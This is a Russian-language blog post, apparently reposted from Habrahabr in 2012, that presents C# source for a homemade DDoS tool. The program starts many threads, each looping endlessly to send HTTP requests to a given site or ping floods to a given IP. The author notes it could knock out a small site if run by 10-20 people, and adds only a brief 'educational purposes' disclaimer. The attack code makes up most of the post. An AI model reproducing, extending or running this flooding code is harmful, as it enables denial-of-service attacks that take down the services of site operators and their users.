Пишем свою программу для DDoS атак

6 Фев
2012

image

Итак, дело было вечером, делать было нечего. Вот я и решил проверить наш с другом сайт на устойчивость. Написание программы было действительно несложным занятием и заняло около получаса. И именно с реализацией её на C# хотелось бы познакомить блогаюзера.


Introduction


Вообще, до этого меня ни разу не интересовали DDoS атаки. Ну, и, собственно, кодить я принялся тоже только из теоретических знаний. Результаты оказались довольно неожиданными:

image

А здесь добавлена многопоточность:
image

Таким образом мы можем увидеть, что программа довольно неплохо нагружала сервера. И в руках 10-20 человек могла бы свалить какой-нибудь небольшой сайтик.

Реализация


Для реализации был выбран язык C#.
Итак, небольшое описание работы: по нажатии кнопки Start DDoS создаётся несколько(количество ядер * 2) потоков с бесконечным циклом, где идут десятки тысяч запросов в секунду.

Метод с кодом основного цикла(извиняюсь за кривые комментарии):
        void a1(bool IsIP)
        { 
            IPAddress ip = null;
            if (IsIP)
                //Если это атака IP, то парсим строку в textBox2
                ip = IPAddress.Parse(textBox2.Text);
            //Основной цикл
            while (true)
            {
                //Если это атака сайта:
                if (!IsIP)
                {
                    //Создаём запрос
                    var r = (HttpWebRequest)WebRequest.Create("http://" + textBox1.Text);
                    //Начинаем слушать ответ
                    r.BeginGetResponse(new AsyncCallback((IAsyncResult res) => { }), null);
                }
                //Если это атака IP
                else
                {
                    var ping = new Ping();
                    //Если IP пропарсился нормально, то пингуем
                    if (ip != null)
                        ping.Send(ip);
                }
                //Переменная, которая содержит общее количество запросов
                i++;
                //Каждые 10000 раз вызываем сборщик мусора, иначе прога будет через минуту своей работы занимать около гигабайта ОЗУ
                if (i % 10000 == 0)
                    GC.Collect();
            }
        }

Как мы видим, задача довольно простая. Именно здесь находится основной код.

Также код создания самих потоков:
            for (var i = 0; i < Environment.ProcessorCount * 2; i++)
            {
                var bw = new BackgroundWorker();
                bw.DoWork += (s, a) => a1(radioButton2.Checked);
                bw.RunWorkerAsync();
            }


Ну, собственно, всё! Остальное не касается непосредственно DDoS, но это можно посмотреть в
прикриплённом проекте.

Данная статья была написана исключительно для ознакомительных целей! Мне просто хотелось выяснить, на сколько сложен в реализации данный тип программ и своими наблюдениями поделиться здесь. Во время проведения экспериментов ни один сайт не пострадал.
По материалам Хабрахабр.



загрузка...

Комментарии:

Наверх